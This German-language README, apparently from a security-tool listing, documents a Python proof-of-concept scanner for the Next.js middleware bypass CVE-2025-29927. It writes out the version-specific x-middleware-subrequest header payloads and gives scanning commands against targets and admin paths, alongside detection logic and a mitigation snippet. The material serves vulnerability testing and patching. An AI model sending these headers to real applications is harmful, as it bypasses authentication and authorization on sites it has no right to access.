Scanner für Next.js Middleware Subrequest Schwachstelle

Ein robustes Proof-of-Concept-Tool (PoC) zur Erkennung der Next.js Middleware-Schwachstelle (CVE-2025-29927).

Übersicht

Dieses Tool testet eine kritische Schwachstelle in Next.js-Anwendungen, bei der der Header x-middleware-subrequest verwendet werden kann, um im Middleware implementierte Sicherheitsüberprüfungen zu umgehen. Der Exploit beinhaltet das Senden von HTTP-Anfragen mit spezifischen schädlichen Headern, die je nach Next.js-Version variieren.

Wie der Exploit funktioniert

Laut der Forschung gibt es unterschiedliche Payloads für verschiedene Versionen von Next.js:

1. Versionen vor 12.2:

   root@kitploit:~

   x-middleware-subrequest: pages/_middleware
   

2. Versionen ab 12.2:

   root@kitploit:~

   x-middleware-subrequest: middleware
   

   oder

   root@kitploit:~

   x-middleware-subrequest: src/middleware
   

   (falls die Anwendung das src-Verzeichnis verwendet)

3. Neuere Versionen (wie 15.x):

   root@kitploit:~

   x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
   

   oder

   root@kitploit:~

   x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
   

Unser PoC testet alle diese Payloads automatisch und meldet, welcher erfolgreich war.

Funktionen

• Testen eines oder mehrerer Ziele
• Gleichzeitiges Scannen mit Multithreading
• Anpassbare Anfragepfade
• Automatisches Testen aller möglichen Payloads
• Detaillierte und farbige Ausgabe im Terminal
• Exportieren der Ergebnisse als JSON
• Robuste Fehlerbehandlung
• Umfassende Schwachstellenerkennung

Voraussetzungen

• Python 3.7+
• Erforderliche Pakete:
  • requests
  • colorama

Installation

# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025

# Instale os pacotes necessários
pip install -r requirements.txt

Verwendung

python main.py -u https://exemplo.com   # Testar uma única URL
python main.py -f alvos.txt             # Testar múltiplas URLs de um arquivo

Befehlszeilenargumente

Beispiele

# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com

# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard

# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15

# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json

Erkennungsmethodik

Der Scanner funktioniert wie folgt:

1. Senden einer normalen Anfrage an das Ziel
2. Senden von Anfragen mit verschiedenen Variationen des Headers x-middleware-subrequest entsprechend der Next.js-Versionen
3. Vergleich der Antworten zur Identifizierung von Schwachstellenindikatoren:
   • Normale Anfrage blockiert (4xx/5xx), aber Exploit-Anfrage erlaubt (2xx)
   • Signifikanter Unterschied im Antwortinhalt
   • Hinweise auf Umgehung der Authentifizierung/Autorisierung

Schadensbegrenzung

Wenn Sie anfällige Anwendungen entdecken, wenden Sie diese Gegenmaßnahmen an:

• Aktualisieren Sie auf die Versionen 14.2.25 oder 15.2.3 oder höher von Next.js
• Implementieren Sie ein Middleware, das Anfragen mit dem Header x-middleware-subrequest blockiert

export function middleware(request: NextRequest) {
  if (request.headers.has('x-middleware-subrequest')) {
    return new Response('Unauthorized', { status: 401 });
  }
  return NextResponse.next();
}